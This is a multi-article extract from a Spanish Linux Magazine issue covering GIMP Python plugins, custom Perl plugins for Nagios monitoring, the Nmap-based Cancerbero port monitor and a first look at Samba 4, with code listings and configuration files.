Figura 2: Creación de lacapa base
Figura 3: ¡Todo ha ido bien!
Figura 4: Esquina aumentada para poder
verla correctamente.
Guardamos en discoTenemos que crear los ficheros y guardar
en ellos los distintos bordes.
filename = directory+”/”+U
file_prefix+”tr.png”
pdb.file_png_save_defaultsU
( tr_img, tr_drawable,U
filename, filename )
Generamos una ruta en filename. Usa-
mos para ello el directorio, el nombre del
fichero y una terminación distinta para
cada borde.
Para guardar el fichero en disco duro
empleamos la función
file_png_save_defaults(). Gimp propor-
ciona un gran número de funciones tanto
de carga de ficheros como para guardar-
los. Cada función posee un nombre que
refleja el formato en que trabaja. En este
caso estamos guardando el fichero en
formato PNG, pero podríamos haber ele-
gido JPEG mediante el uso de
file_jpeg_save_defaults().
Realizamos esta misma acción para
cada uno de los cuatro bordes. Y se
acabó, ya tenemos nuestros ficheros lis-
tos para ser usados.
El registro del pluginLos plugins de Gimp necesitan regis-
trarse para poder ser usados y
aparecer en los menús, el código en
este caso es, ver Figura 5. Cada una
de las opciones merece una explica-
ción. La función register() acepta
nada menos que 11 parámetros, y
todos son obligatorios:
• nombre: nombre con el que aparecerá
en el navegador
• blurb: pequeña descripción del plugin
• ayuda: ayuda para el uso
• autor: nombre del autor
• copyright: a quién pertenece el copy-
right
• fecha: fecha de creación (normalmente
el año)
• ruta en el menú: puede comenzar con
<Image> o <Toolbox>. En el primer
caso aparecerá una entrada en el menú
contextual de la imagen (será necesa-
rio tener primero una imagen), y en el
segundo aparecerá una entrada en el
menú de extensiones sin necesidad de
trabajar con un fichero previamente.
• tipos de imágenes: con qué tipos de
imágenes puede trabajar el plugin.
• parámetros: es una lista de los campos
que se mostrarán al usuario y que
deben coincidir con los parámetros
que acepta la función operativa. Cada
entrada se compone del tipo de
campo(PF_INT entero, PF_COLOR
color, PF_FILE un fichero…), el nom-
bre de la variable relacionada con ese
campo, el nombre que se usará cuando
se muestre el campo al usuario y los
valores en los que puede oscilar el
campo.
• resultados: otra lista, pero esta vez con
el tipo de los resultados.
• función: y por último, el nombre de la
función que responderá en caso de lla-
mada.
Rellenar todos estos campos es un
proceso pesado pero importante,
puesto que el navegador emplea la
información que se obtiene del regis-
tro para mostrársela al usuario cuando
lo navegue.
Conclusión
Como ya se dijo en el número 5, el pro-
ceso de desarrollo y debugging de plugin
para Gimp en Python es tortuoso y en
algunos casos muy complicado debido a
la ausencia de documentación. La única
vía de información son los escasos tuto-
riales presentes en la Web.
Aún así, Python proporciona un
enorme potencial a Gimp simplificando
muchas tareas enormemente dificultosas
con otros lenguajes. �
Python • DESARROLLO
53Número 20W W W . L I N U X - M A G A Z I N E . E S
[1] Artículo sobre plugins Python para
GIMP: http://www.linux-magazine.es/
issue/05/GimpScripts.pdf
[2] Documentación sobre el uso de
Python para GIMP: http://www.gimp.
org/docs/python/index.html
RECURSOS
01 register(
02 “python_fu_gen_corners”,
03 “Generate four rounded
corners”,
04 “Generate four rounded
corners. Useful for writing
web pages with many rounded
corners.”,
05 “Jason Kivlighn”,
06 “Jason Kivlighn”,
07 “2006”,
08
“<Toolbox>/Python-Fu/_Generate
Corners”,
09 “RGB*, GRAY*”,
10 [
11 (PF_INT, “radius”,
“Radius”, 10),
12 (PF_COLOR,
“fg_color”, “Foreground
Color”, (255,255,255)),
13 (PF_COLOR,
“bg_color”, “Background
Color”, (0,0,0)),
14 (PF_STRING,
“file_prefix”, “File prefix”,
“border_”),
15 (PF_FILE,
“directory”, “Directory”, “”)
16 ],
17 [],
18 python_gen_corners)
Figura 5, Registro de lafunción.
01
pdb.gimp_rect_select(img,radiu
s,0,radius,radius,CHANNEL_OP_R
EPLACE,FALSE,0)
02 pdb.gimp_edit_copy(drawable)
03 tr_img = gimp.Image(radius,
radius, RGB)
04 tr_drawable =
gimp.Layer(tr_img, “Arriba
Derecha”, radius,
radius,RGB_IMAGE, 100,
NORMAL_MODE)
05
pdb.gimp_image_add_layer(tr_im
g,tr_drawable,0)
06
pdb.gimp_floating_sel_anchor(p
db.gimp_edit_paste(tr_drawable
,TRUE))
Figura 4: Creación de laesquina superior derecha
Figura 5: Resultado final.
muchas otras cosas. Si tenemos
alguna necesidad especial no
cubierta por los plugins estándar,
podemos confeccionar uno que se
adapte a nuestras necesidades.
Sólo por dar un ejemplo, Nagios
puede llevar a cabo tests para verifi-
car si un proveedor de hosting nos
está dando un servidor con suficien-
tes recursos, en lugar de sobrecargar
el servidor albergando demasiadas
páginas Web en él. Si, por razo-
nes de seguridad, la
instalación de Nagios en la
máquina local no tiene
acceso directo a la shell
del lado servidor, pode-
mos instalar un agente
en la página Web.
Estadísticas E/SSi situamos el
script de agente
iostat.cgi (Listado
1) en el directorio
CGI del servidor
Web que queremos
investigar, nos será
de gran ayuda. El
script se activa con
una petición HTTP,
llama al comando
iostat de Linux, y
envía algunos
resultados al cliente, que resulta ser
un plugin de Nagios. El plugin
interpreta entonces los resultados y
usa el código de salida para
indicarle a Nagios si los valores son
correctos o si ha encontrado
problemas (véase Tabla 1).
El script CGI, iostat.cgi, usa la fun-
ción tap del módulo Sysadm::Install
de CPAN para llamar al comando ios-
tat con los valores 1 y 2 (línea 8).
Debido al valor del intervalo de 1, y
al valor de contador de 2, mide el
rendimiento de la CPU y de la E/S
del disco duro dos veces por
segundo y genera el resultado de la
Figura 3.
El primer test nos da el valor
medio desde el último reinicio,
mientras que el segundo es más
interesante para Nagios, ya que
agrega el rendimiento por segundo
mientras se está ejecutando. La
columna %idle nos indica el tiempo
que ha estado disponible la CPU, y
iowait mide cuánto ha tenido que
esperar la CPU al disco duro. Desde
el punto de vista del consumidor lo
más deseable es un valor alto de
%idle y un valor bajo de %iowait.
El script iostat.cgi del Listado 1 lee
la salida de iostat y descarta el pri-
mer conjunto de valores medidos.
Para ello, usa la expresión regular
$RE{num}{real} del repositorio
Regexp::Common para analizar los
valores numéricos. A continuación
Puede que le sea familiar la
siguiente escena: escucha-
mos la voz de nuestro
compañero (definitivamente tecnó-
fobo) en el despacho contiguo
gritando “¡Mi Internet no funciona!”
Una posible respuesta puede ser
comprobar laboriosamente si el rou-
ter está realmente hablando
con nuestro proveedor o si
podemos acceder al servidor
de DNS. Pero la localización y
resolución de problemas es
mucho más fácil si dispo-
nemos de un software que
monitoriza las funciones
críticas y nos muestra
un amigable resumen
basado en Web como
el mostrado en la
Figura 1.
La herramienta
en software libre
Nagios es perfecta
para este tipo de
monitorización. Los
desarrolladores dis-
ponen de una gran
lista de plugins en
[2]. Los plugins pue-
den ayudarnos a
monitorizar páginas
Web, bases de
datos, redes y
DESARROLLO • Perl
54 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Creamos nuestros propios plugins para Nagios
EL VIGILANTEPodemos crear un plugin en Perl para aprovechar la potencia de la herramienta de monitorización Nagios.
POR MICHAEL SCHILLI
Valor de Texto Significado
salida
0 OK Todo correcto
1 WARNING Problema en servicio
2 CRITICAL Problema en servicio
crítico
3 UNKNOWN Problema con el
plugin
Tabla 1: Valores de
salida
de la cabecera HTTP obligatoria,
devuelve una cadena tal que user
2.99 nice 0.00 sys 0.00 iowait 0.00
idle 96.52. La llamada declaración
de anchura cero, \G (línea 20), evita
que el motor de expresiones regula-
res vuelva atrás al comienzo del
texto en cada ocasión y le indica que
continúe la búsqueda tras la última
coincidencia.
Carga LímiteEn la parte de Nagios, el plugin del
Listado 2 hace uso de LWP::Simple
para llamar al script CGI que acaba-
mos de ver en el servidor, captura la
línea de salida y ejecuta split para
dividir la salida en campos para
guardarlos en el hash %values. Si la
disponibilidad de la CPU es menor
del 50%, el plugin reporta un estado
crítico. Para valores menores al 80%
sólo muestra un aviso. Se aplica el
mismo principio al valor iowait,
pero los valores umbral son del 10 y
20 por ciento en este caso.
El módulo Nagios::Clientstatus de
CPAN descarga algo de trabajo del
plugin al verificar si éste ha pasado
todos los parámetros requeridos. El
método exitvalue también entiende
cadenas como warning, más que el
valor numérico 1 del mundo de
Nagios. Si ejecutamos el plugin en
línea de comandos tecleando:
check_iostat -url=U
http://server/cgi/iostat.cgi
el plugin devuelve las siguientes
líneas de salida:
IOSTAT OK - user 2.99 U
nice 0.00 sys 0.00
iowait 0.00 idle 96.52
Más tarde Nagios llamará al plugin
de esta manera, interpretará los
valores de salida y mostrará el texto
resultante del plugin en stdout.
Nótese que Nagios::Clientstatus
requiere la versión 2.35 o superior
de Getopt::Long.
Integrar el PluginPara añadir el nuevo plugin a la insta-
lación de Nagios, el administrador
debe copiar el script check_iostat al
directorio /usr/local/nagios/libexec y
darle permisos de ejecución. En la
Figura 4 se añade una plantilla deno-
minada ez-service a la configuración de
Nagios. Esto hace más sencillo añadir
más servicios posteriormente. En las
configuraciones de Nagios es una
práctica común definir plantillas, que
se identifican con facilidad por sus
entradas register 0. Las definiciones de
los servicios pueden usarse más tarde
para añadir entradas especiales a las
plantillas.
La configuración define service de
la Figura 4 define el nuevo servicio
Iostat. Se construye en base a la
plantillas use ez-service, que defini-
mos anteriormente, y acepta varios
parámetros para ejecutar tests, noti-
ficaciones por email y muchas otras
cosas. Estas configuraciones de
plantilla se heredan luego por la
definición de servicio y pueden ser
anuladas en caso necesario. Algunas
configuraciones y sus significados:
la entrada notification_interval 0
evita que Nagios envíe múltiples
emails para reportar un único pro-
blema. Los administradores pueden
fijar normal_check_interval para
especificar el intervalo entre tests de
servicio, en minutos, y
max_check_attempts para especificar
qué número de tests permitimos que
fallen antes de que nos lo notifique
Nagios. service_notification_options
especifica qué cambios en el estado
de Nagios se nos deben notificar con
un mensaje. La opción w se refiere a
un aviso, u para desconocido, c de
crítico y r de recuperación. Un prin-
cipio similar se aplica a
host_notification_options: además
de unknown y recovery, nos permite
la opción d para caído.
El Servidor SolitarioSi el servidor Nagios está aislado del
resto del mundo debido a un fallo en
la red, obviamente no vamos a reci-
bir ningún email a través de
Internet. En este caso, el administra-
dor recibe al menos un email de
recuperación tan pronto como se
haya arreglado el problema. Nagios
soporta también administradores de
eventos para definir acciones que
llevar a cabo al detectar un error. El
sistema puede solucionar problemas
de manera autónoma sin la interven-
ción de un administrador.
Con Nagios 2.0, un servicio siem-
pre se mapea a un host al que se le
comprueba la disponibilidad inde-
pendientemente. Las especificaciones
del host requieren entradas en el
archivo de configuración. La línea
host_name dreamhost en la
configuración del ejemplo define el
nombre del host, al que nos vamos a
referir más tarde en la página de
visualización de Nagios.
Perl • DESARROLLO
55Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 1: Esta página resumen de Nagios nos muestra que los tests locales han sido
completados con éxito, pero que el router y todo lo que está más allá, están inaccesibles.
comandos a ejecutar. La línea
check_command puede tomar
argumentos opcionales, que pasa a
continuación a la definición del
comando. Separada por un signo de
exclamación, la URL de la línea
check_command se pasa a la
definición del comando iostat y
reemplaza al parámetro de
sustitución $ARG1$.
El valor 24x7 de check_period y
notification_period requiere configu-
raciones para definir la dirección de
email del administrador y la disponi-
bilidad. Podemos encontrar un
archivo de ejemplo llamado ezna-
gios.cfg en [1], y añadir una línea tal
que:
cfg_file=U
/usr/local/nagios/etc/eznagios.cfg
al archivo de configuración nagios.cfg. Al
mismo tiempo, eznagios.cfg define los
tests de Nagios que nos indican cuanto
espacio en disco está ocupado y si el rou-
ter y servidor de DNS de nuestro
proveedor están funcionando.
Calentito, calentito…
check_temperature es otro ejemplo claro
de plugin de cosecha propia para Nagios.
El script (véase el Listado 3) contacta
una base de datos round-robin en busca
de la medida de temperatura indicada en
[3], y nos alerta si la medida más
reciente de la temperatura externa o
interna excede unos umbrales
específicos. En el clásico estilo de
plugins de Nagios, acepta parámetros en
línea de comandos para los valores
umbral. Si realizamos la llamada:
check_temperature -warn=30 U
-crit=35 -dsname=Inside
El parámetro de definición de
servicio check_command especifica
cómo realizar la llamada al plugin
check_iostat. Sin embargo, la
llamada no se realiza directamente
en la definición del servicio. En su
lugar, usa un comando configurado
anteriormente por define command
para especificar la línea de
DESARROLLO • Perl
56 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 2: Nagios nos muestra un gráfico para indicarnos con qué frecuencia ha sido imposible
acceder a un sistema.
01 #!/usr/bin/perl
02 ##############################
03 use strict;
04 use LWP::Simple;
05 use Log::Log4perl qw(:easy);
06 use Nagios::Clientstatus;
07
08 my $version = “0.01”;
09 my $ncli =
Nagios::Clientstatus->new(
10 help_subref =>
11 sub { print “usage: $0
url\n” },
12 version =>
$version,
13 mandatory_args => [ “url”
],
14 );
15
16 my $url =
$ncli->get_given_arg(“url”);
17
18 my $data = get $url;
19
20 unless($data) {
21 print “Failed to get
$url\n”;
22 exit
$ncli->exitvalue(“unknown”);
23 }
24
25 my %values = split ‘ ‘, $data;
26
27 my $status =
28 $values{idle} < 50 ?
“critical” :
29 $values{idle} < 70 ?
“warning” :
30 $values{iowait} > 20 ?
“critical” :
31 $values{iowait} > 10 ?
“warning” :
32 “ok”;
33
34 print “IOSTAT “, uc($status),
“ - $data\n”;
35
36 exit
$ncli->exitvalue($status);
Listado 2: check_iostat
01 #!/usr/bin/perl -w
02 use strict;
03 use Sysadm::Install qw(:all);
04
05 use CGI qw(:all);
06 use Regexp::Common;
07 use Sysadm::Install qw(:all);
08
09 my($stdout, $stderr, $rc) =
10 tap “iostat”, 1, 2;
11
12 $stdout =~
/avg-cpu.*?avg-cpu/gs;
13
14 print header();
15
16 for my $key (qw(user nice sys
17 iowait idle))
{
18 if($stdout =~
19
/\G.*?($RE{num}{real})/gs) {
20 printf “%s %s “, $key,
$1;
21 }
22 }
Listado 1: iostat.cgi
se dispara un aviso si la temperatura
interna sube por encima de los 30º
centígrados. El umbral crítico es
35º. La Figura 5 muestra varios
valores resul-
tado y la salida
del plugin para
distintas confi-
guraciones de
los parámetros.
De un modo
similar al plugin
Iostat que hemos
visto anterior-
mente, la
entrada del ser-
vicio
check_command
check_tempera-
ture!25!30!Inside pasa los
parámetros 25, 30 e “Inside” al
script. La entrada command corres-
pondiente es algo como:
define command {
command_name
check_temper
ature
command_line U
$USER1$/check_temperature U
-warn=$ARG1$ -crit=$ARG2$ U
-dsname=$ARG3$
}
La sección central de la colorida
tabla de la Figura 1 muestra que
ambas temperaturas son bastante
normales: 18.8º C (internos) y 15.9º
C (externos). Al menos mi aparta-
mento no está en llamas.
Perl • DESARROLLO
57Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 3: iostat muestra el tiempo que ha estado la CPU sin utilizar ycuánto ha estado esperando al disco duro.
Figura 4: Configuración de Nagios para el
nuevo plugin Iostat.
01 #!/usr/bin/perl -w
02 ##############################
03 use strict;
04 use RRDTool::OO;
05 use Getopt::Std;
06 use Pod::Usage;
07 use Nagios::Clientstatus;
08
09 my $N = “TEMPERATURE”;
10
11 my $nc =
Nagios::Clientstatus->new(
12 help_subref => sub {
pod2usage() },
13 mandatory_args => [qw(
14 crit warn dsname
15 )],
16 );
17
18 my $rrd = RRDTool::OO->new(
19 file =>
“/tmp/temperature.rrd” );
20
21 my $dsnames =
$rrd->meta_data(“dsnames”);
22
23 $rrd->fetch_start(
24 start => time() - 6*60,
25 end => time()
26 );
27
28 my $temp;
29
30 if(my($time, @values) =
31
$rrd->fetch_next()) {
32 for(my $i=0; $i<@$dsnames;
$i++) {
33 if($dsnames->[$i] eq
34
$nc->get_given_arg(“dsname”))
{
35 $temp = $values[$i];
36 last;
37 }
38 }
39 }
40
41 my $status = “ok”;
42
43 if(! defined $temp) {
44 $status = “unknown”;
45 }
46 elsif($temp >=
47
$nc->get_given_arg(“crit”)) {
48 $status = “critical”;
49 }
50 elsif($temp >=
51
$nc->get_given_arg(“warn”)) {
52 $status = “warning”;
53 }
54
55 printf “$N %s - %s: %s\n”,
56 uc($status),
57
$nc->get_given_arg(“dsname”),
58 defined $temp ?
59 sprintf(“%.1f”, $temp) :
60 “NODATA”;
61
62 exit $nc->exitvalue($status);
Listado 3: check_temperature
Creamos un usuario y grupo para
Nagios:
adduser nagios
cd nagios-2.0
./configure
make all
Instalamos los ejecutables, los scripts
CGI y las páginas HTML. Creamos el
script de arranque en /etc/rc.d/init.d, y
generamos por último una configu-
ración de ejemplo:
make install
make install-init
make install-config
Instalar Nagios
Afortunadamente, la distribución nos
ofrece una colección de archivos de
ejemplo que podemos editar. Para ello,
simplemente renombramos los archivos
.cfg-sample bajo /usr/local/nagios/etc a
.cfg.
La instalación de Nagios no debería
ser accesible públicamente a través de
Internet. Puede que queramos usar los
ajustes de la Figura 6 al configurar el ser-
vidor Web de nuestro Nagios. Tras
ejecutar el demonio de Nagios tecleando
/etc/rc.d/init.d/nagios restart (como
root), y enviar una señal HUP al servidor
Web, los usuarios autenticados pueden
acceder a los datos medidos y las series
de reportes en http://localhost/nagios
(véase Figura 1).
Si la página
de Nagios está
ubicada tras
un firewall,
y estamos
seguros de
que sólo
puede
accederse
por usuarios
autorizados,
podemos ignorar la autenticación y
comentar las líneas Require valid-user.
En el archivo de configuración de
Nagios, cgi.cfg, las entradas del Listado 4
permitirían a un usuario no autenticado
acceder a toda la información y coman-
dos de servicio.
Dormir a Pierna Suelta
Tras realizar todos estos cambios en los
archivos de configuración, podría ser
una buena idea verificar si la
configuración está libre de errores antes
de intentar reiniciar el demonio. Para
verificar la sintaxis:
cd /usr/local/nagios
bin/nagios -v etc/nagios.cfg
Una buena estrategia de monitoriza-
ción, llevada a cabo de manera fiable
por Nagios, garantiza al administrador
el poder dormir a pierna suelta, a
menos que salten las alarmas, claro.
Siempre será preferible despertarse
por un aviso de Nagios a nuestro
busca que saltar de la cama por un
usuario malhumorado que nos llama
en mitad de la noche. �
Instalación
El tarball de la distribución 2.0 de Nagios
está disponible en la página Web del
proyecto [4]. Tras desempaquetarla,
podemos seguir las instrucciones del
cuadro “Instalar Nagios” para conseguir
un servidor Nagios operativo. Otro
tarball [2] contiene los plugins estándar
para Nagios 2.0. Tenemos que
desempaquetar el tarball en
/usr/local/nagios/libexec.
El principal obstáculo para echar a
andar Nagios es la configuración. Tras
instalar la herramienta, el administrador
debe crear al menos seis(!) archivos de
configuración diferentes.
DESARROLLO • Perl
58 Número 20 W W W . L I N U X - M A G A Z I N E . E S
01 # cgi.cfg:
02 default_user_name=guest
03
04 authorized_for_system_information=nagiosadmin,guest
05 authorized_for_configuration_information=nagiosadmin,
06 authorized_for_all_services=nagiosadmin,guest
07 authorized_for_all_hosts=nagiosadmin,guest
08 authorized_for_all_service_commands=nagiosadmin,guest
09 authorized_for_all_host_commands=nagiosadmin,guest
Listado 4: Guest Access[1] Listados de este artículo: http://www.
linux-magazine.es/Magazine/
Downloads/20
[2] Plugins estándar para Nagios-2.0:
http://prdownloads.sourceforge.net/
nagiosplug/nagios-plugins-1.4.2.tar.
gz
[3] Michael Schilli, “¿Está que arde?”,
Número 18 de Linux Magazine edi-
ción en castellano, pag. 46
[4] Nagios: http://www.nagios.org
RECURSOS
Figura 5: Resultados y valores del plugin de la temperatura con diferentes parámetros en líneade comandos.
Figura 6: Configuración del servidor Webpara Nagios.
El mes pasado, le eché un vistazo a
algunas de las nuevas características
de Nmap 4.00. Este tema fue muy
interesante entonces, sin embargo, éste
describiré a Cancerbero [1], una
herramienta para monitorizar un servidor
basado en Nmap. La herramienta, que
está escrita en Perl, hace uso de la potencia
de Nmap para escanear los puertos de los
dispositivos de red. Cancerbero registra los
resultados en una base de datos y utiliza
una pequeña interfaz PHP para poder ver
mejor los resultados. Los beneficios son
obvios: Echemos un vistazo rápido a los
puertos y fácilmente podremos saber qué
puertos están abiertos o cerrados. Se
encuentran disponibles un archivo tar y un
paquete Debian del programa. En mi caso,
la última opción no lo está, ya que mis
equipos de laboratorio ejecutan una
distribución basada en RPM. Sin embargo,
esto puede ser una buena oportunidad para
sacar Alien, la herramienta con nombre
extraterrestre que convierte paquetes
formateados a RPM. Si no funciona,
también puedo pelearme con el fichero tar.
Quien no arriesga no gana:
alien -r cancerbero_U
0.4-1_i386.deb
Alien me dio un fichero llamado cancer-
bero-0.4-2.i386.rpm. Vamos a tener cuidado
con la primera instalación:
rpm -Uvh —test U
cancerbero-0.4-2.i386.rpm
Todo está tranquilo
en el frente Oeste y
así siguió incluso
después de elimi-
nar el parámetro
—test. Por
supuesto, tuve que
resolver las depen-
dencias por mí
mismo. En el lis-
tado que aparece
en [2] pueden
encontrarse otros
componentes que necesita Cancerbero.
Afortunadamente, la lista no contiene
nada que sea realmente raro y si está
acostumbrado a tratar con Perl, proba-
blemente ya tenga estos componentes
instalados en el sistema.
Crear una Tabla en la Basede Datos Como Cancerbero quiere almacenar los
datos en una base de datos MySQL, ten-
dré que crearla primero (hay una
excelente guía paso a paso en [2]). Can-
cerbero le proporciona una tabla para
explicar la estructura, y para usarla
puede introducir:
mysql -D database-name U
-u SQL-username -p U
< cancerbero.sql
Cuando instalé el paquete (o desempa-
queté el fichero tar), se creó un directorio
denominado /site. Necesito mover este
directorio a la ruta donde el servidor web
pueda verlo. El fichero de configuración
principal, cancerbero.conf, se almacena
bajo /etc/cancerbero. Tengo que modificar
los parámetros de acceso a la base de datos
(nombre de la base de datos, host, nombre
de usuario, contraseña) para que coincida
con la configuración de MySQL. También
necesito definir el rango de la red que Can-
cerbero va a monitorizar, por ejemplo
192.168.1.0/24. Desafortunadamente, el
programa está restringido a un solo rango
actualmente; en mi humilde opinión, esta
es la mayor restricción de Cancerbero. Pero
el autor ha prometido arreglarlo y el pro-
grama sólo va por la versión 0.4. La
lista-blanca me permite definir una lista
separada por comas de redes y equipos que
esta herramienta nunca debería escanear.
Esto es realmente útil si se tienen impreso-
ras en la red. Finalmente, necesito pasar los
parámetros de la base de datos que ya le he
pasado a Cancerbero en su interfaz PHP.
Para hacerlo, sólo necesito introducir los
datos en /include/dbconnect.php. ¡Termi-
nado! Ahora sólo tengo que hacer clic para
escanear con mi navegador.
59
La Columna de Charly • ADMINISTRACIÓN
Número 20W W W . L I N U X - M A G A Z I N E . E S
[1] Cancerbero: http://cancerbero.
sourceforge.net
[2] Instalación: http://cancerbero.
sourceforge.net/install.html
RECURSOS
Samba 4 . . . . . . . . . . . . . . . . . . . . . .60
Aprende lo nuevo de la próxima
versión del servidor de ficheros y de
impresión Samba.
Privilegios root con OP . . . . . . . . . .64
La versátil utilidad Op es una
herramienta sencilla para la gestión de
los privilegios de los usuarios.
SYSADMIN
Cuando los puertos de un equipo empiezan a abrirse y cerrarse como ventanas lan-
zadas al viento, es hora de que los administradores presten atención. POR CHARLY
KÜHNAST
El Día a Día del Administrador de Sistemas: Cancerbero
PUERTOS MOVIDITOS
Figura 1: Salida detallada de Cancerbero tras completar un escaneo.
La interfaz en PHP muestra un listado de los puertos abiertos y los
sistemas operativos de los servidores.
Uno de los principales objetivos de Samba 4
es proporcionar un servidor de directorios
Samba que pueda interoperar con el Directo-
rio Activo de Microsoft; una versión muy
temprana de esta funcionalidad salió al
público a finales de enero.
El equipo de Samba optó por una solución
radical, reimplementar la mayoría de las ruti-
nas para liberar a Samba 4 de la carga de
modificaciones sufridas durante las versiones
anteriores. Como consecuencia, se han elimi-
nado muchas de las opciones en las que se
basaba Samba .
Kerberos y LDAPSamba 3 proporcionó a los administradores de
redes la opción de instalar una máquina Linux
como un servidor de miembros de dominio en
un dominio Windows 2000/2003. Desde un
punto de vista técnico, el servidor de miem-
bros utiliza los tickets de Kerberos para los
propósitos de autenticación. Basándose en
este diseño, tanto los servidores como los
clientes (utilizando herramientas como
smbmount) intercambiaban tickets, imple-
mentando operaciones de firma entre Linux y
Windows a través del dominio. El uso de
Samba 3 como controlador de dominio prima-
rio (PDC) o como controlador de dominio de
reserva (BDC) estaba restringido a la autenti-
cación del tipo Windows NT, con Kerberos de
por medio.
Ahora que Samba 4 implementa sus pro-
pias funcionalidades de Kerberos, Samba
puede reemplazar a un controlador de domi-
nio Windows (véase más adelante). La
implementación de Kerberos es la variante
Heimdal, por lo que es lógico que su desarro-
llador, Love Astrand, asuma la mayor parte
del trabajo de programación pendiente. En el
futuro será posible el uso de librerías externas
de Kerberos.
Todas las versiones de Samba tienen el
mismo objetivo: compartir recursos
Windows en sistemas operativos basa-
dos en Unix, como Linux, y compartir los
recursos de Linux con los sistemas Windows
[1]. Desafortunadamente, el soporte para los
sistemas Microsoft es un objetivo difícil: Red-
mond no tiene la fama que tiene precisamente
por su voluntad de publicar especificaciones y
el gigante del software continúa extendiendo
los protocolos SMB/CIFS desde una versión
Windows a la siguiente.
Los desarrolladores de Código Abierto
intentan seguirle la pista a los cambios intro-
ducidos en SMB, utilizando para ello
herramientas como Ethereal, la cual les per-
mite fisgar en las conexiones, aunque
Microsoft dió un paso más con Windows
2000, introduciendo el sistema de directorios
basado en objetos conocido como Servicio de
Directorio Activo (ADS, [2]).
Al contrario que en los desarrollos previos,
en este caso Microsoft intentó establecer un
estándar desarrollando una base de datos
LDAP junto con un mecanismo de autentica-
ción Kerberos 5, y optando por un método de
resolución de nombres basado en DNS. El
hecho de que Microsoft haya mantenido prin-
cipalmente un estándar auténtico le permite a
Linux proporcionar un alto grado de interope-
ratividad gracias a las implementaciones libres
como OpenLDAP y las versiones MIT o Heim-
dal de Kerberos.
ADMINISTRACIÓN • Samba 4
60 Número 20 W W W . L I N U X - M A G A Z I N E . E S
A finales de enero se publicó una versión técnica previa de Samba 4.
Vamos a echarle un vistazo a lo que nos traerá esta nueva versión del
servidor de ficheros de impresión Samba. POR MARKUS KLIME
Un Primer Vistazo a Samba 4
UN NUEVO BAILEUN NUEVO BAILE
Figura 1: La herramienta provision inicializa la base de datos de Samba. También se puede eje-
cutar Swat.
Un Primer Vistazo a Samba 4
Algo que Samba 3 nunca consiguió solucio-
nar fue la sincronización de las bases de datos
de los usuarios con su propia base de datos
Samba (véase el cuadro titulado
“Samba4WINS” para más detalles). Como
OpenLDAP puede replicar su base de datos en
otros servidores del mismo tipo, los desarrolla-
dores de Samba 3 simplemente eliminaron
esta posibilidad. Sin embargo, la
configuración de un servidor OpenLDAP es de
todo menos trivial. El equipo de Samba 4,
liderado por Andrew Tridgell, valoró la carga
tecnológica e implementó su propio servidor
LDAP conocido como LDB.
Otra razón importante por la que Samba
implementa su propia solución LDAP es para
librarse de los problemas con las replicacio-
nes. Por ejemplo, los desarrolladores querían
migrar los cambios por las máquinas implica-
das para eliminar cualquier peligro de
inconsistencia en las replicaciones. Parece
como si Samba 4 fuera a retener la habilidad
de ligarse a OpenLDAP, principalmente para
soportar los entornos establecidos con servi-
dores Samba 3.
CIFS, NTFS y Posix ACLsNunca ha sido el objetivo de Samba la restric-
ción del soporte a entornos heterogéneos; al
contrario, Samba siempre ha jugado un rol
importante en el dominio NFS, soportando el
intercambio de datos entre los sistemas Unix y
Linux, hasta el punto de competir con NFS 4,
que no está completamente desarrollado. Esto
se ha puesto en evidencia gracias a los módu-
los del kernel CIFS, donde el trabajo de
desarrollo ha continuado de versión en ver-
sión. Tómense las características
experimentales de CIFS, por ejemplo, que
soporta Kerberos desde la versión 2.6.16. Esto
fue un importante retroceso en comparación
con Windows SMB, que permitía a los usua-
rios montar los recursos compartidos usando
firmas simples con la opción -o krb.
En lo que se refiere a la gestión de acceso,
Samba ha sido capaz de asignar Posix ACLs a
NTFS ACLs y viceversa. De nuevo, la versión
4 toma una solución diferente y en vez de
almacenar las ACLs NT en el sistema de fiche-
ros Posix, presenta un sistema de ficheros
virtual, conocido como NTVFS, para almace-
nar los atributos NTFS tal cual. Es incluso
capaz de emular ACLs en flujos de datos
NTFS. ADS (Alternate Data Streams) es una
función del sistema de ficheros NTFS, que
permite a los usuarios almacenar datos alter-
nos invisibles para un fichero. Las políticas de
grupos es otro de los temas a debate; en el
Samba 4 • ADMINISTRACIÓN
61Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 2: Se añade con éxito un Windows
2003 Server como Member Server a un
dominio de Samba 4.
El servicio de nombres de Internet de
Windows (WINS) se remonta a los días
de NT4. Incluso los sistemas Windows
más recientes utilizan el protocolo WINS
para resolver los nombres NetBIOS.
Cuando se asocia un recurso compar-
tido, el nombre NetBIOS puede utilizarse
después de la primera barra o barras (\\).
Samba ha estado dando soporte a Net-
BIOS, ya que ésta es la forma de permitir
la interoperabilidad entre los servidores.
Samba 4 no ha realizado ningún cambio
significativo respecto a esto.
El problema está en que los servidores
WINS basados en Samba no soportan la
replicación, dejando a los administrado-
res sin otra alternativa que gastarse el
dinero en servidores WINS sobre Win-
dows. El proyecto de cooperación
Samba4WINS [3] intenta cambiar esta
situación. Las empresas involucradas
son Sernet, Computacenter y Fujitsu Sie-
mens. Samba4WINS estará
perfectamente integrada con Samba 4.
Esta funcionalidad puede ser integrada
en la versión 3.0.21 o posteriores de
Samba y se ejecuta como un proceso
independiente.
Samba4WINS
01 # Global parameters
02 [global]
03 server role = pdc
04 workgroup = TESTDOMAIN
05 realm = TESTDOMAIN.ORG
06 netbios name = LINUX
07 log level = 2
08 registry:hkey_users = hku.,ldb
09 registry:hkey_local_machine =
hklm.ldb
10 comment =
11 path =
12 ntvfs handler =
unixuid,default
13 read only = Yes
14 hosts allow =
15 hosts deny =
16 max connections = -1
17 strict sync = No
18 case insensitive filesystem = No
19 max print jobs = 1000
20 printable = No
21 printer name =
22 map system = No
23 map hidden = No
24 map archive = Yes
25 browseable = Yes
26 csc policy = manual
27 strict locking = Yes
28 copy =
29 include =
30 available = Yes
31 volume =
32 fstype = NTFS
33 msdfs root = No
34
35 [data]
36 path = /export/data
37 read only = No
38 hosts allow =
39 hosts deny =
40
41 [IPC$]
42 comment = IPC Service (Samba
4.0.0tp1)
43 path = /tmp
44 ntvfs handler = default
45 hosts allow =
46 hosts deny =
47 browseable = No
48 fstype = IPC
49
50 [ADMIN$]
51 comment = DISK Service (Samba
4.0.0tp1)
52 path = /tmp
53 hosts allow =
54 hosts deny =
55 browseable = No
56 fstype = DISK
Listado 1: smb.conf
